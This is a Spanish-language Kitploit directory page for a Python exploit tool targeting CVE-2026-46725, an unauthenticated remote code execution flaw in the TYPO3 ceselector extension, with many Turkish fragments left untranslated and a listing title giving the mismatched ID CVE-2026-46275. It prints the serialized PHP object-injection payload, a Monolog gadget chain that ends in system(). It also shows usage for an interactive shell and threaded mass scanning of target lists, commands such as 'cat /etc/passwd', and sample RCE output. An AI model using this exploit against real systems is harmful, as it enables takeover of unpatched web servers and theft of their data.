Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-46275 — Exploit en Python para CVE-2026-46725, que logra ejecución remota de código no autenticada en la extensión ceselector de TYPO3 mediante inyección de objetos PHP y la cadena gadget de Monolog. | Kitploit
Herramientas/GitHubGitHub/xxconi/cve-2026-46275
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubxxconi/cve-2026-46275

CVE-2026-46275

Exploit en Python para CVE-2026-46725, que logra ejecución remota de código no autenticada en la extensión ceselector de TYPO3 mediante inyección de objetos PHP y la cadena gadget de Monolog.

Ver Repositorio
26hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-46725 — Extensión ceselector de TYPO3 RCE

Inyección de Objetos PHP mediante Bypass de Cookie unserialize() → Ejecución Remota de Código

CVSS CWE Auth Python License


📋 Índice

  • Acerca de la Vulnerabilidad
  • Detalles Técnicos
  • Requisitos
  • Instalación
  • Uso
  • Ejemplos
  • Formato de Salida
  • Cómo Funciona
  • Referencias
  • Aviso Legal

🔍 Acerca de la Vulnerabilidad

CampoDetalle
ID CVECVE-2026-46725
ProductoExtensión ceselector de TYPO3 (mmc/ceselector)
Versión Afectada<= 1.1.3
Tipo de VulnerabilidadDeserialización Insegura (Inyección de Objetos PHP)
Puntuación CVSS9.8 Crítica
Vector CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 (Deserialización de Datos No Confiables)
Puntuación EPSS0.0046 (percentil 64.3%)
AutenticaciónNo requerida (Sin autenticación)
ImpactoRCE Completa — Control total del sistema
InvestigadorDhiyaneshDk

Descripción

La extensión ceselector de TYPO3 pasa el valor de la cookie llamada T3_ceselector_* directamente a la función unserialize() sin realizar ninguna validación. Un atacante puede ejecutar comandos arbitrarios en el servidor insertando un payload especialmente diseñado de Inyección de Objetos PHP en esta cookie.

⚠️ Prerrequisito: Para explotar la vulnerabilidad, la opción Modo Persistente: Estático debe estar activa en la configuración de TYPO3.


🔧 Detalles Técnicos

Flujo de Ataque

1. GET /  →  Sunucu Set-Cookie: T3_ceselector_<id>=<value> döner
2. GET /  →  Cookie: T3_ceselector_<id>=<PAYLOAD>
             └─ PHP unserialize() tetiklenir
             └─ Monolog Gadget Chain çalışır
             └─ system("id") çıktısı response'a yansır

Cadena de Gadgets

Monolog\Handler\GroupHandler
  └─ Monolog\Handler\BufferHandler
       └─ Monolog\LogRecord (buffer)
            └─ processors: [get_object_vars, end, system]
                 └─ system("<CMD>")  ← RCE

Estructura del Payload

O:28:"Monolog\Handler\GroupHandler":1:{
  s:11:"*handlers";a:1:{
    i:0;O:29:"Monolog\Handler\BufferHandler":6:{
      s:10:"*handler";r:3;
      s:13:"*bufferSize";i:1;
      s:14:"*bufferLimit";i:0;
      s:9:"*buffer";a:1:{
        i:0;O:17:"Monolog\LogRecord":2:{
          s:5:"level";E:19:"Monolog\Level:Debug";
          s:5:"mixed";s:2:"id";   ← OS komutu buraya
        }
      }
      s:14:"*initialized";b:1;
      s:13:"*processors";a:3:{
        i:0;s:15:"get_object_vars";
        i:1;s:3:"end";
        i:2;s:6:"system";   ← sink
      }
    }
  }
}

📦 Requisitos

  • Python 3.8+
  • Biblioteca requests
Python >= 3.8
requests >= 2.28.0

⚙️ Instalación

# Repoyu klonla
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725

# Bağımlılıkları yükle
pip install requests

# veya requirements.txt ile
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

🚀 Uso

usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
                      [-t N] [--timeout S] [--proxy URL]
                      [-o FILE] [-v] [--no-color]

options:
Hedef:
  -u, --url URL       Tek hedef URL
  -l, --list FILE     Hedef listesi (satır başı URL)

Exploit:
  -c, --cmd CMD       Çalıştırılacak OS komutu (varsayılan: id)
  -i, --interactive   Başarılı exploit sonrası interaktif shell aç

Tarama:
  -t, --threads N     Thread sayısı (varsayılan: 10)
  --timeout S         Timeout saniye (varsayılan: 15)
  --proxy URL         Proxy (örn: http://127.0.0.1:8080)

Çıktı:
  -o, --output FILE   Sonuç dosyası
  -v, --verbose       Ayrıntılı çıktı
  --no-color          Renksiz çıktı

📌 Ejemplos

Tek Hedef — Temel Kullanım

python CVE-2026-46725.py -u https://typo3-site.com

Özel Komut Çalıştır

python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"

İnteraktif Shell

python CVE-2026-46725.py -u https://typo3-site.com --interactive
typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit

Toplu Tarama

# 20 thread ile tara, sonuçları kaydet
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt

# 30 thread, özel komut
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"

Proxy ile (Burp Suite)

python CVE-2026-46725.py -u https://typo3-site.com \
  --proxy http://127.0.0.1:8080 -v

targets.txt Formatı

https://site1.com
https://site2.com
http://site3.com
site4.com

📊 Formato de Salida

Salida en Terminal

① TYPO3 & ceselector Tespit
────────────────────────────────────────────────────
· TYPO3             ✓ Tespit edildi
· ceselector        ✓ Aktif
· Cookie Adı        T3_ceselector_48291
· TYPO3 Sürüm       12.4.3

② Payload Hazırlanıyor
────────────────────────────────────────────────────
· Teknik            PHP Object Injection → Monolog Gadget Chain
· Gadget            Monolog\Handler\GroupHandler
· Sink              system()
· Komut             id

④ RCE Çıktısı
────────────────────────────────────────────────────
┌─ RCE ÇIKTISI ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────

Archivo de Registro (results.txt)

============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
Tarih: 2026-05-26 17:30:00
============================================================

[+] RCE ALINAN HEDEFLER (2)
----------------------------------------
URL        : https://typo3-site.com
Sürüm      : 12.4.3
Cookie     : T3_ceselector_48291
Komut      : id
Çıktı      : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🔬 Cómo Funciona

Descargar herramienta